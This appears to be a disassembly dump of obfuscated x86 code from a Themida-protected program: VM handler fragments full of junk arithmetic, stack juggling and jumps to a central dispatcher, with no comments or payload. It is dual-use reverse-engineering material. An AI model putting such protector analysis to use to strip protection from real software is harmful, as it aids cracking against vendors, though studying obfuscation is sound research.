loc_585FC6: ; CODE XREF: sub_584787+5CCCj
pop [esp-8+arg_4]
pop esp
xor dh, 9Ah
sub al, dh
mov edx, [esp+0]
jmp loc_587A0C
; ---------------------------------------------------------------------------
loc_585FD7: ; CODE XREF: sub_584787+81AFj
add ecx, ebx
pop ebx
sub esp, 4
mov [esp+0], ebx
jmp loc_5893C1
; ---------------------------------------------------------------------------
loc_585FE5: ; CODE XREF: sub_584787+1552j
mov [esp+34h+var_34], esp
jmp loc_58C51D
; ---------------------------------------------------------------------------
loc_585FED: ; CODE XREF: sub_584787+9B64j
mov [esp+34h+var_34], esp
jmp loc_586867
; ---------------------------------------------------------------------------
loc_585FF5: ; CODE XREF: sub_584787+9955j
xchg ecx, [esp+34h+var_34]
pop esp
mov [esp+30h+var_30], edx
jmp loc_5902C3
; ---------------------------------------------------------------------------
loc_586001: ; CODE XREF: sub_584787+806Cj
add esp, 4
pop [esp+2Ch+var_2C]
mov esp, [esp+0]
sar word ptr [esp+0], cl
pushf
jmp loc_5859B0
; ---------------------------------------------------------------------------
loc_586017: ; CODE XREF: sub_584787+BC61j
mov edx, [esp+2Ch+var_2C]
add esp, 4
mov ebx, [esp+0]
add esp, 4
and eax, edi
pop edi
or edx, eax
shl edx, 1
push 6493h
mov [esp+24h+var_26+2], esi
jmp loc_5857F8
; ---------------------------------------------------------------------------
loc_58603D: ; CODE XREF: sub_584787+2C3j
pop dx
push dx
jmp loc_586DAE
; ---------------------------------------------------------------------------
loc_586046: ; CODE XREF: sub_5903F6-A6Dj
pop ebp
add esp, 4
add ebp, 4
sub ebp, 4
push ebp
jmp loc_585B0E
; ---------------------------------------------------------------------------
loc_58605F: ; CODE XREF: sub_584787+8ED1j
and edi, 5BD1429h
sub esp, 4
mov [esp+32h+var_34+2], edi
not [esp+32h+var_34+2]
pop edi
push esi
sub esp, 4
mov [esp+36h+var_38+2], edi
mov edi, 61CC700Eh
mov esi, edi
mov edi, [esp+36h+var_38+2]
add esp, 4
add esi, 0FFFFFFFFh
and esi, 1D146868h
jmp loc_589486
; ---------------------------------------------------------------------------
loc_586097: ; CODE XREF: sub_584787+49BBj
mov esp, [esp+32h+var_34+2]
shl [esp+32h+var_34+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5860A3: ; CODE XREF: sub_584787+AA05j
xor edx, ebx
pop ebx
jmp loc_58F015
; ---------------------------------------------------------------------------
loc_5860AB: ; CODE XREF: sub_584787+6E3Fj
push cx
mov cl, 0E6h
or al, cl
pop cx
sub al, 9Eh
add al, 0C0h
sub dh, al
pop eax
add bl, dh
pop edx
jmp loc_58F66A
; ---------------------------------------------------------------------------
loc_5860C2: ; CODE XREF: sub_584787+4E1Bj
mov edx, 329E466Eh
push edx
not [esp+2Eh+var_30+2]
pop edx
neg edx
jmp loc_585F0A
; ---------------------------------------------------------------------------
loc_5860D3: ; CODE XREF: sub_584787+6062j
xor ebx, 7F1673E1h
or ebx, 7CAF2ED5h
sub ebx, 13F89FBDh
push edx
mov edx, ebx
mov eax, edx
pop edx
pop ebx
add eax, 0ACB3B08Ch
mov edx, eax
pop eax
add esi, edx
pop edx
or esi, 504859DCh
add esi, 85068423h
add eax, esi
pop esi
xchg eax, [esp+1Ah+var_1C+2]
pop esp
mov ax, word ptr [esp+16h+var_18+2]
push edi
mov edi, esp
sub esp, 4
mov [esp+1Eh+var_20+2], esi
mov esi, 4
push ebx
jmp loc_58A419
; ---------------------------------------------------------------------------
loc_586122: ; CODE XREF: sub_584787+638Dj
xor edx, ebx
xor ebx, edx
xor edx, ebx
jmp loc_58488E
; ---------------------------------------------------------------------------
loc_58612D: ; CODE XREF: sub_584787+6E49j
add eax, 391401F2h
jmp loc_5896EB
; ---------------------------------------------------------------------------
loc_586137: ; CODE XREF: sub_584787+8E0j
pop ecx
jmp loc_58FD95
; ---------------------------------------------------------------------------
loc_58613D: ; CODE XREF: sub_584787+27Ej
mov ebp, 153F317Eh
jmp loc_58C441
; ---------------------------------------------------------------------------
loc_586147: ; CODE XREF: sub_584787+810Dj
add bh, 9Bh
pop ecx
jmp loc_58E4E8
; ---------------------------------------------------------------------------
loc_586150: ; CODE XREF: sub_584787+82B5j
add ecx, 4
push edx
jmp loc_58E1F4
; ---------------------------------------------------------------------------
loc_58615C: ; DATA XREF: Themida_:0058441Co
push 32C4h
mov [esp+2Eh+var_30+2], edx
jmp loc_58C37A
; ---------------------------------------------------------------------------
loc_586169: ; CODE XREF: sub_584787+13D4j
sub ecx, 59274AD2h
push 71A8h
jmp loc_585C2A
; ---------------------------------------------------------------------------
loc_586179: ; CODE XREF: sub_584787+846Aj
push ecx
jmp loc_58D1E9
; ---------------------------------------------------------------------------
loc_58617F: ; CODE XREF: sub_584787-BAj
pop ebx
jmp loc_5872E1
; ---------------------------------------------------------------------------
loc_586185: ; CODE XREF: sub_584787+F31j
pop eax
push esi
mov esi, 1D760CC3h
sub eax, 149F0F63h
sub eax, esi
jmp loc_58A889
; ---------------------------------------------------------------------------
loc_586198: ; CODE XREF: sub_584787+A287j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+34h+var_34]
jmp loc_5886AB
; ---------------------------------------------------------------------------
loc_5861AF: ; CODE XREF: sub_584787+7C17j
add ebp, 4
xchg ebp, [esp+34h+var_34]
jmp loc_5848A9
; ---------------------------------------------------------------------------
loc_5861BD: ; CODE XREF: sub_584787+9193j
add esp, 4
pop [esp+30h+var_30]
mov esp, [esp+2Ch+var_2C]
shl byte ptr [esp+2Ch+var_2C], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5861D2: ; CODE XREF: sub_584787+7228j
pop edi
jmp loc_585B27
; ---------------------------------------------------------------------------
loc_5861D8: ; CODE XREF: sub_584787+CBj
pop ebx
add dl, 19h
jmp loc_58DE05
; ---------------------------------------------------------------------------
loc_5861E1: ; CODE XREF: sub_584787+877Bj
push 290Eh
mov [esp+18h+var_18], ebp
mov ebp, 1383197Ah
shr ebp, 1
not ebp
xchg ecx, ebp
not ecx
jmp loc_58A934
; ---------------------------------------------------------------------------
loc_5861FB: ; CODE XREF: sub_584787+6E61j
sub esi, 47F465A2h
add esi, 15FF115Dh
add esi, ebx
sub esi, 15FF115Dh
add esi, 47F465A2h
push eax
mov eax, 624C16CDh
add eax, 212015D2h
dec eax
shr eax, 6
jmp loc_5879D0
; ---------------------------------------------------------------------------
loc_586229: ; CODE XREF: sub_584787+75C0j
mov ebx, 27EE2CC2h
sub ebx, 0B269150Fh
xor esi, ebx
pop ebx
push edi
jmp loc_58ED25
; ---------------------------------------------------------------------------
loc_58623D: ; CODE XREF: sub_584787+B8Ej
mov ecx, 38h
push edx
mov edx, 24F5474Eh
add ecx, edx
pop edx
add ecx, edi
sub ecx, 24F5474Eh
push 32Ah
mov [esp+56h+var_58+2], ebx
jmp loc_58C761
; ---------------------------------------------------------------------------
loc_586260: ; CODE XREF: sub_584787+62DEj
add edi, 0D9FB7F5Eh
jmp loc_588F97
; ---------------------------------------------------------------------------
loc_58626B: ; CODE XREF: sub_584787+B27Dj
mov edx, esi
pop esi
or edx, 7C5A62EBh
sub edx, 101A3C8Eh
and ebp, edx
mov edx, [esp+52h+var_54+2]
add esp, 4
jmp loc_5903CB
; ---------------------------------------------------------------------------
loc_586287: ; CODE XREF: sub_584787+8B7Cj
sub ecx, 893134FEh
mov ebx, ecx
pop ecx
add ebx, eax
push ecx
jmp loc_584C5D
; ---------------------------------------------------------------------------
loc_586298: ; CODE XREF: sub_584787+27CDj
add eax, ebp
pop ebp
mov ecx, eax
pop eax
shr ecx, 6
jmp loc_58A91D
; ---------------------------------------------------------------------------
loc_5862A6: ; CODE XREF: sub_584787+464Aj
xchg ebp, [esp+46h+var_46]
pop esp
mov [esp+42h+var_42], ebp
xchg edi, [esp+42h+var_42]
xor edi, eax
jmp loc_58A0B2
; ---------------------------------------------------------------------------
loc_5862B7: ; CODE XREF: sub_584787+AC50j
push ecx
mov ecx, 3A583B4Bh
push 9DAh
mov [esp+0], eax
mov eax, 38B076C2h
or eax, 45225117h
jmp loc_5900C9
; ---------------------------------------------------------------------------
loc_5862D4: ; DATA XREF: Themida_:00584350o
push 1600h
mov [esp+4Eh+var_4E], ebx
mov ebx, 779C5E28h
push eax
mov eax, 41C83218h
and eax, 108B7175h
jmp loc_58EDE4
; ---------------------------------------------------------------------------
loc_5862F1: ; CODE XREF: sub_584787+A309j
mov ebp, 7DF84088h
and ebp, 63B4603h
not ebp
sub ebp, 0FBC7BFFBh
sub edx, ebp
pop ebp
xchg edx, [esp+4Eh+var_4E]
pop esp
mov [esp+0], ecx
mov ecx, 2
add ebx, 53556E0Fh
add ebx, ecx
sub ebx, 53556E0Fh
pop ecx
push 71F9h
mov [esp+0], ebx
push [esp+4Ah+var_46]
push [esp+4Eh+var_4E]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+52h+var_54+2]
pop esp
jmp loc_587344
; ---------------------------------------------------------------------------
loc_586347: ; CODE XREF: sub_584787+7AAFj
pop eax
add ebx, ebp
pop ebp
push 2692h
mov [esp+0], ebx
push [esp+4Ah+var_46]
pop ebx
jmp loc_58CDEA
; ---------------------------------------------------------------------------
loc_58635D: ; CODE XREF: sub_584787+480Bj
add ebx, 4
xchg ebx, [esp+0]
pop esp
and eax, esi
push [esp+46h+var_46]
pop esi
push ebx
sub esp, 4
jmp loc_588F4F
; ---------------------------------------------------------------------------
loc_586376: ; CODE XREF: sub_584787+73Aj
mov esi, 4
jmp loc_5880E9
; ---------------------------------------------------------------------------
loc_586380: ; CODE XREF: sub_584787+9679j
push edi
mov edi, 7AA2AE5h
push esi
push edx
mov edx, 6FBA4E00h
push eax
mov eax, edx
mov esi, eax
pop eax
pop edx
jmp loc_5854E9
; ---------------------------------------------------------------------------
loc_586399: ; CODE XREF: Themida_:0058F528j
push ecx
jmp loc_589ED4
; ---------------------------------------------------------------------------
loc_58639F: ; DATA XREF: Themida_:00584200o
mov cx, word ptr [esp+4Ch+var_4E+2]
push esi
mov esi, esp
push eax
jmp loc_5886CC
; ---------------------------------------------------------------------------
loc_5863AC: ; CODE XREF: sub_584787+8C19j
mov ecx, esp
push edi
jmp loc_5865EE
; ---------------------------------------------------------------------------
loc_5863B4: ; CODE XREF: sub_584787+4694j
sub eax, 70C46434h
sub eax, ecx
push ecx
push ebx
jmp loc_58C2AB
; ---------------------------------------------------------------------------
loc_5863C2: ; CODE XREF: sub_584787+4655j
sub eax, 55420D3Ah
add ebp, eax
pop eax
push ebp
push [esp+60h+var_5C]
pop ebp
pop [esp+60h+var_60]
pop esp
or [esp+58h+var_58], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5863DD: ; CODE XREF: sub_584787+A022j
push 1CF4h
mov [esp+60h+var_60], esi
push esp
jmp loc_58D70A
; ---------------------------------------------------------------------------
loc_5863EB: ; CODE XREF: sub_584787+A5D5j
mov eax, 478B6641h
jmp loc_58D448
; ---------------------------------------------------------------------------
loc_5863F5: ; CODE XREF: sub_584787+B2D3j
sub esi, 70C3057Bh
neg esi
xor esi, 92E4B08h
sub esi, 0BD11A211h
add esi, 0CA74E149h
sub ecx, 5D7B3690h
jmp loc_58C0BE
; ---------------------------------------------------------------------------
loc_58641A: ; DATA XREF: Themida_:005842D4o
movzx ax, byte ptr [edx]
push 29BEh
mov [esp+0], ecx
push esp
pop ecx
push eax
mov eax, 1BDC18BBh
shl eax, 1
neg eax
sub eax, 4A250D4Ah
push edi
mov edi, 1A0C1A45h
or eax, edi
pop edi
dec eax
xor eax, edx
xor edx, eax
xor eax, edx
push edx
jmp loc_585615
; ---------------------------------------------------------------------------
loc_58644D: ; CODE XREF: sub_584787+98B9j
mov eax, 2
jmp loc_5845B0
; ---------------------------------------------------------------------------
loc_586457: ; CODE XREF: sub_584787+448Bj
add dl, 0C6h
sub dl, al
push ebx
mov bl, 32h
xor bl, 0F4h
jmp loc_587623
; ---------------------------------------------------------------------------
loc_586467: ; CODE XREF: sub_584787+5FCj
push 30B86970h
pop eax
and eax, 2F29005Fh
or eax, 1472EEh
xor eax, 4A7C7918h
sub eax, 0FD03AA9Ah
jmp loc_58ECA5
; ---------------------------------------------------------------------------
loc_586486: ; DATA XREF: Themida_:005841F0o
mov cx, word ptr [esp+1Ch+var_1C]
jmp loc_58AE3F
; ---------------------------------------------------------------------------
loc_58648F: ; CODE XREF: sub_584787+48B4j
add esp, 4
push edi
mov edi, 2
add esi, 6B8E1EE2h
jmp loc_585D77
; ---------------------------------------------------------------------------
loc_5864A6: ; CODE XREF: sub_584787+4302j
mov esi, 6C5922E8h
inc esi
or esi, 2EEF39D2h
add esi, 53F307B1h
sub esi, 6B9F389Eh
sub edi, esi
jmp loc_58680F
; ---------------------------------------------------------------------------
loc_5864C5: ; CODE XREF: sub_584787+A5C9j
add ecx, ebp
add ecx, 988138Ch
mov ebp, [esp+1Ch+var_1C]
add esp, 4
sub [esp+18h+var_14], 61BB320Ch
sub [esp+18h+var_14], 54FB6B6Bh
sub [esp+18h+var_14], ecx
add [esp+18h+var_14], 54FB6B6Bh
add [esp+18h+var_14], 61BB320Ch
pop ecx
pop edx
push ebx
mov ebx, 1E9670A5h
dec ebx
not ebx
sub ebx, 8D1E4013h
jmp loc_58DC7E
; ---------------------------------------------------------------------------
loc_58650D: ; CODE XREF: sub_584787+283Cj
mov ecx, [esp+14h+var_14]
add esp, 4
add ecx, 4
jmp loc_5893ED
; ---------------------------------------------------------------------------
loc_586521: ; CODE XREF: sub_584787+3B7Ej
pop edx
and eax, ecx
push [esp+0Ch+var_C]
jmp loc_58725C
; ---------------------------------------------------------------------------
loc_58652C: ; CODE XREF: sub_584787+4441j
pop ecx
add esp, 4
add eax, 4
xor eax, [esp+8+var_8]
jmp loc_58742A
; ---------------------------------------------------------------------------
loc_586540: ; CODE XREF: sub_584787+3173j
xchg eax, [esp+8+var_8]
jmp loc_58C078
; ---------------------------------------------------------------------------
loc_586548: ; CODE XREF: sub_584787+80DBj
add esp, 4
add eax, 4B4A497Fh
jmp loc_5873B4
; ---------------------------------------------------------------------------
loc_586558: ; CODE XREF: sub_584787+5D0Aj
pop edi
sub edx, 9603FC55h
sub esi, edx
jmp loc_586AF7
; ---------------------------------------------------------------------------
loc_586566: ; CODE XREF: sub_584787+8A49j
push eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58656D: ; CODE XREF: sub_584787+4F7Ej
pop eax
pop edi
mov ecx, eax
jmp loc_587524
; ---------------------------------------------------------------------------
loc_586576: ; CODE XREF: sub_584787+51BAj
xor edi, 3DF04FC0h
mov ebx, edi
pop edi
add ebx, edi
push edx
mov edx, 0
push ebp
mov ebp, 58F930A3h
add ebp, 0EB3EEF2Dh
add edx, ebp
pop ebp
add edx, ebx
sub edx, 44381FD0h
add eax, [edx]
jmp loc_5879E3
; ---------------------------------------------------------------------------
loc_5865A5: ; CODE XREF: sub_584787+1202j
mov bl, al
pop eax
pop ecx
push edx
mov dl, 58h
add dl, 0EEh
or dl, 43h
jmp loc_58484B
; ---------------------------------------------------------------------------
loc_5865B7: ; CODE XREF: sub_584787+6C27j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
sub esp, 4
jmp loc_58B085
; ---------------------------------------------------------------------------
loc_5865D4: ; CODE XREF: sub_584787+7CD4j
add esp, 4
loc_5865DA: ; CODE XREF: sub_584787+5116j
push ecx
mov ecx, ebx
mov ebx, ecx
mov ecx, [esp-4+arg_0]
push edx
sub esp, 4
mov [esp+4+var_4], esp
jmp loc_5894EC
; ---------------------------------------------------------------------------
loc_5865EE: ; CODE XREF: sub_584787+1C28j
mov edi, 62CD0C62h
push edx
mov edx, 47CE1C3Bh
shr edx, 5
add edx, 77370939h
and edi, edx
pop edx
push ecx
mov ecx, 58764739h
jmp loc_58833A
; ---------------------------------------------------------------------------
loc_586610: ; CODE XREF: sub_584787+34C9j
mov [esp+5Ch+var_5C], ebx
push [esp+5Ch+var_5C]
pop esi
add esp, 4
push esi
mov eax, [esp+5Ch+var_5C]
add esp, 4
jmp loc_58953B
; ---------------------------------------------------------------------------
loc_586629: ; CODE XREF: sub_584787+69A6j
shr esi, 6
inc esi
xor esi, 488E35D7h
push esi
mov esi, 15034EB1h
jmp loc_587D6E
; ---------------------------------------------------------------------------
loc_58663E: ; CODE XREF: sub_584787+287Dj
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp+60h+var_60]
jmp loc_586DCA
; ---------------------------------------------------------------------------
loc_586652: ; CODE XREF: sub_584787+4B9Aj
add [esp+60h+var_60], 4
push [esp+60h+var_60]
pop edi
jmp loc_58AF78
; ---------------------------------------------------------------------------
loc_58665F: ; CODE XREF: sub_584787+6D45j
cmp cl, al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586667: ; CODE XREF: sub_584787+5B8Bj
shl dl, 1
neg dl
xor dl, 0Eh
add dl, 7Dh
mov ch, dl
jmp loc_585985
; ---------------------------------------------------------------------------
loc_586678: ; DATA XREF: Themida_:00584254o
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp+0], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_586688: ; CODE XREF: sub_584787+515Aj
mov edx, [esp+0]
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp+0]
jmp loc_58679F
; ---------------------------------------------------------------------------
loc_5866A4: ; CODE XREF: sub_584787+789Ej
sub esp, 4
jmp loc_58E332
; ---------------------------------------------------------------------------
loc_5866AF: ; CODE XREF: sub_584787+5CE5j
mov ebp, [esp+0]
add esp, 4
xchg ebx, [esp+0]
pop esp
bt [esp+0], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5866C7: ; CODE XREF: sub_584787+A183j
add edi, 4
add edi, 4
xchg edi, [esp+0]
mov esp, [esp+0]
push ecx
push eax
jmp loc_58F045
; ---------------------------------------------------------------------------
loc_5866DD: ; CODE XREF: sub_584787+7D6j
inc edx
neg edx
xor edx, 0B019AC85h
xor edi, edx
pop edx
add edx, edi
jmp loc_58B7F8
; ---------------------------------------------------------------------------
loc_5866F0: ; CODE XREF: sub_584787+2794j
sub ebp, ebx
sub ebp, 272B770Bh
mov ebx, [esp-0Ch+arg_8]
add esp, 4
xchg ebp, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58670F: ; CODE XREF: sub_584787+A85Ej
sub esp, 4
jmp loc_58F17E
; ---------------------------------------------------------------------------
loc_586717: ; CODE XREF: sub_584787+45Fj
push 53E8h
mov [esp-4+arg_0], esi
push [esp-4+arg_4]
jmp loc_5898A2
; ---------------------------------------------------------------------------
loc_586728: ; CODE XREF: sub_584787+BB4Dj
push ecx
mov ecx, 3E5B641Bh
add [esp+4+arg_0], 0F854E0Dh
jmp loc_58830A
; ---------------------------------------------------------------------------
loc_58673B: ; CODE XREF: sub_584787+66Dj
sub esi, 0DB544BAh
jmp loc_586D9B
; ---------------------------------------------------------------------------
loc_586746: ; CODE XREF: sub_584787+49D2j
xor ebp, [esp+0Ch+var_C]
jmp loc_58939B
; ---------------------------------------------------------------------------
loc_58674E: ; CODE XREF: sub_584787+2055j
sub eax, edx
pop edx
xor ebx, eax
push cx
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, 2067252Fh
add ebx, ebp
sub ebx, 2067252Fh
pop ebp
sub ebx, 4
xchg ebx, [esp+0Eh+var_10+2]
mov esp, [esp+0Eh+var_10+2]
mov [esp+0Eh+var_10+2], eax
mov ah, 1
push eax
mov al, 85h
not al
shl al, 3
dec al
push ecx
mov cl, 7Ah
shr cl, 5
push small 0
sub byte ptr [esp+18h+var_18], cl
mov cl, byte ptr [esp+18h+var_18]
add esp, 2
push dx
jmp loc_58E6D6
; ---------------------------------------------------------------------------
loc_58679F: ; CODE XREF: sub_584787+1F18j
pop esp
push small 103Bh
mov [esp+0], dx
push eax
mov al, 0D7h
jmp loc_59072A
; ---------------------------------------------------------------------------
loc_5867B0: ; CODE XREF: sub_584787+6F8Cj
add [esp+8], ecx
jmp loc_58F748
; ---------------------------------------------------------------------------
loc_5867B9: ; CODE XREF: sub_584787+2D98j
add esp, 4
push 4F78h
jmp loc_58CC20
; ---------------------------------------------------------------------------
loc_5867C6: ; CODE XREF: sub_584787+2CF2j
sub esp, 4
mov [esp+0], edx
jmp sub_584732
; ---------------------------------------------------------------------------
loc_5867D4: ; CODE XREF: sub_584787+5F4Ej
neg edx
add edx, 18EEA561h
jmp loc_58674E
; ---------------------------------------------------------------------------
loc_5867E1: ; DATA XREF: Themida_:005841FCo
push dword ptr [esp+0]
push [esp+74h+var_74]
pop eax
push edi
mov edi, esp
push eax
mov eax, 579E3B4Ch
jmp loc_58558E
; ---------------------------------------------------------------------------
loc_5867F6: ; CODE XREF: sub_584787+AF4Ej
push ebx
push edi
mov edi, 4
jmp loc_58C5CB
; ---------------------------------------------------------------------------
loc_586802: ; CODE XREF: Themida_:005845E5j
mov esi, esp
add esi, 4
jmp loc_590538
; ---------------------------------------------------------------------------
loc_58680F: ; CODE XREF: sub_584787+1D39j
pop esi
sub edi, ebx
add edi, 57530B0Eh
add edi, 64D05D46h
pop ebx
push ecx
mov ecx, edi
mov ebx, ecx
pop ecx
pop edi
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58682B: ; CODE XREF: sub_584787+A1BFj
mov [esp+10h+var_10], ebx
push esp
pop ebx
push 78E7h
mov [esp+14h+var_14], ebp
jmp loc_588D01
; ---------------------------------------------------------------------------
loc_58683D: ; CODE XREF: sub_584787+7D16j
push [esp+14h+var_14]
jmp loc_58F02C
; ---------------------------------------------------------------------------
loc_586845: ; CODE XREF: sub_584787+9050j
mov [esp+18h+var_18], ebp
jmp loc_58F166
; ---------------------------------------------------------------------------
loc_58684D: ; CODE XREF: sub_584787+9893j
add ebx, 230B71A2h
mov eax, [esp+18h+var_18]
add esp, 4
push ebp
mov ebp, 51EF119Ch
jmp loc_585DF5
; ---------------------------------------------------------------------------
loc_586867: ; CODE XREF: sub_584787+1869j
add [esp+34h+var_34], 4
push [esp+34h+var_34]
pop ebx
push esi
mov esi, esp
push ebx
push ecx
jmp loc_58F399
; ---------------------------------------------------------------------------
loc_586879: ; CODE XREF: sub_584787+5FB2j
sub edi, 0FFFFFFFFh
xor edi, 0E87D7794h
add ebx, edi
push [esp+40h+var_42+2]
mov edi, [esp+44h+var_46+2]
jmp loc_589AED
; ---------------------------------------------------------------------------
loc_586892: ; CODE XREF: sub_584787+85E6j
sub esi, 215226D0h
add esi, ecx
push eax
mov eax, 75E01D3Ah
or eax, 410F632Bh
jmp loc_589EBE
; ---------------------------------------------------------------------------
loc_5868AA: ; CODE XREF: sub_584787+81BAj
mov [esp+0], ax
jmp loc_58A434
; ---------------------------------------------------------------------------
loc_5868B3: ; CODE XREF: sub_584787+63A0j
add esp, 4
and [edi+1Ch], esi
push [esp+44h+var_46+2]
pop esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
mov esp, [esp+0]
mov [esp+0], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+4Ch+var_4E+2], edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp+0]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5868F4: ; CODE XREF: sub_584787+3DBBj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], esi
mov esi, esp
add esi, 4
push ecx
jmp loc_58E06D
; ---------------------------------------------------------------------------
loc_586917: ; CODE XREF: sub_584787+4Cj
push dword ptr [eax]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58691E: ; CODE XREF: sub_5904F2-88Dj
mov [esp+16h+var_18+2], ebp
push esp
jmp loc_58E4D3
; ---------------------------------------------------------------------------
loc_586927: ; DATA XREF: Themida_:00584324o
mov esp, [esp+1Ah+var_1C+2]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58692F: ; CODE XREF: sub_584787+69C1j
add ch, 4Ch
jmp loc_588B3F
; ---------------------------------------------------------------------------
loc_586937: ; CODE XREF: sub_584787+5151j
add esi, 4
xchg esi, [esp+1Ah+var_1C+2]
pop esp
mov ebx, [esp+16h+var_18+2]
push 0CF2h
mov [esp+1Ah+var_1C+2], edi
mov edi, esp
jmp loc_586E03
; ---------------------------------------------------------------------------
loc_586953: ; CODE XREF: sub_584787+6A7Dj
add ecx, 4
sub ecx, 4
xchg ecx, [esp+1Ah+var_1C+2]
pop esp
jmp loc_58C3C0
; ---------------------------------------------------------------------------
loc_586968: ; CODE XREF: sub_584787+BE4Ej
push ecx
push ebx
push edx
mov edx, 548E235Dh
mov ebx, edx
pop edx
not ebx
add ebx, 59823DE3h
xor ebx, 143D5A21h
shr ebx, 6
xor ebx, offset loc_432506
jmp loc_58A198
; ---------------------------------------------------------------------------
loc_58698F: ; CODE XREF: sub_584787+63C9j
shr ecx, 6
jmp loc_588368
; ---------------------------------------------------------------------------
loc_586997: ; CODE XREF: sub_584787+9732j
push ecx
jmp loc_58CACC
; ---------------------------------------------------------------------------
loc_58699D: ; DATA XREF: Themida_:005842ECo
mov cx, [esp+0]
push eax
push esp
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
add eax, 4
sub esp, 4
jmp loc_58DBF6
; ---------------------------------------------------------------------------
loc_5869BC: ; CODE XREF: sub_584787+5095j
and edi, 2AF56D05h
add edi, 7D1334FEh
or edx, edi
pop edi
jmp loc_588922
; ---------------------------------------------------------------------------
loc_5869D0: ; CODE XREF: sub_584787+4CF0j
push ebp
mov ebp, esp
jmp loc_588DC8
; ---------------------------------------------------------------------------
loc_5869D8: ; CODE XREF: sub_584787+976Bj
add esi, 60832483h
add esi, ecx
sub esi, 60832483h
pop ecx
push 6C24h
mov [esp+2Ah+var_2C+2], esi
push [esp+2Ah+var_26]
mov esi, [esp+2Eh+var_30+2]
jmp loc_58EBE2
; ---------------------------------------------------------------------------
loc_5869FB: ; CODE XREF: sub_584787+7D0Bj
mov ch, 0BEh
sub al, ch
jmp loc_58509F
; ---------------------------------------------------------------------------
loc_586A04: ; CODE XREF: sub_584787+3371j
sub eax, 6A02630Ah
sub eax, edx
add eax, 6A02630Ah
pop edx
sub eax, 37BF5E29h
add eax, 41E620F5h
add eax, ebp
sub eax, 41E620F5h
push ebx
mov ebx, 37BF5E29h
add eax, ebx
pop ebx
push ecx
mov ecx, 71D17E76h
neg ecx
inc ecx
add ecx, 4DB56117h
jmp loc_58AEC4
; ---------------------------------------------------------------------------
loc_586A3F: ; CODE XREF: sub_584787+9A83j
pop edx
jmp loc_58E809
; ---------------------------------------------------------------------------
loc_586A45: ; CODE XREF: sub_584787+A889j
mov eax, 3E727DC9h
xor edi, eax
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
not edi
push ebp
mov ebp, 0EA91E801h
jmp loc_58F99B
; ---------------------------------------------------------------------------
loc_586A5F: ; CODE XREF: sub_584787+237Ej
mov [esp+2Ah+var_2C+2], esi
pop dword ptr [edi+24h]
pop esi
loc_586A66: ; CODE XREF: sub_584787+F6Fj
push 1CCFh
mov [esp+26h+var_26], ebx
push ebp
jmp loc_58D199
; ---------------------------------------------------------------------------
loc_586A74: ; CODE XREF: sub_584787+9999j
xchg ebx, [esp+2Ah+var_2C+2]
pop esp
add ebx, edx
mov [ebx], al
jmp loc_58A0EC
; ---------------------------------------------------------------------------
loc_586A81: ; CODE XREF: sub_584787+3F97j
or ecx, ecx
jz loc_588280
push 252Ah
mov [esp+2Ah+var_2C+2], esp
add [esp+2Ah+var_2C+2], 4
jmp loc_5870ED
; ---------------------------------------------------------------------------
loc_586A9A: ; CODE XREF: sub_584787+962Dj
sub ebx, 0C67F0B4Fh
sub edi, 64D05D46h
jmp loc_588A88
; ---------------------------------------------------------------------------
loc_586AAB: ; CODE XREF: sub_584787+4DC5j
add dl, 66h
or bh, dl
pop edx
not bh
jmp loc_58C14B
; ---------------------------------------------------------------------------
loc_586AB8: ; CODE XREF: sub_584787+40D0j
pop eax
jmp loc_589288
; ---------------------------------------------------------------------------
loc_586ABE: ; CODE XREF: sub_584787+83FDj
add edx, ecx
mov ecx, [esp+0]
add esp, 4
xor eax, edx
jmp loc_58B37A
; ---------------------------------------------------------------------------
loc_586AD0: ; CODE XREF: sub_584787+680Cj
mov edx, [esp+1Eh+var_20+2]
jmp loc_58754C
; ---------------------------------------------------------------------------
loc_586AD8: ; CODE XREF: sub_584787+E33j
xchg ecx, [esp+4+var_4]
jmp loc_58E2D7
; ---------------------------------------------------------------------------
loc_586AE0: ; DATA XREF: Themida_:005843A8o
lodsd
jmp loc_58B120
; ---------------------------------------------------------------------------
loc_586AE6: ; CODE XREF: sub_584787+5668j
pop ecx
sub ebp, edx
pop edx
add ebx, 71A668DCh
add ebx, ebp
jmp loc_5876C7
; ---------------------------------------------------------------------------
loc_586AF7: ; CODE XREF: sub_584787+1DDAj
mov edx, [esp+0]
add esp, 4
push dword ptr [edi+24h]
push 6B79h
jmp loc_586A5F
; ---------------------------------------------------------------------------
loc_586B0A: ; CODE XREF: sub_584787+6A3Aj
not esi
inc esi
add esi, 0A306B1C3h
xor ebp, esi
pop esi
and ebx, ebp
jmp loc_589050
; ---------------------------------------------------------------------------
loc_586B1D: ; CODE XREF: sub_584787+3774j
pop esi
add esi, 4
push eax
jmp loc_58A00C
; ---------------------------------------------------------------------------
loc_586B2A: ; CODE XREF: sub_584787+8EADj
add edi, 3F4E327Ch
jmp loc_58B9AC
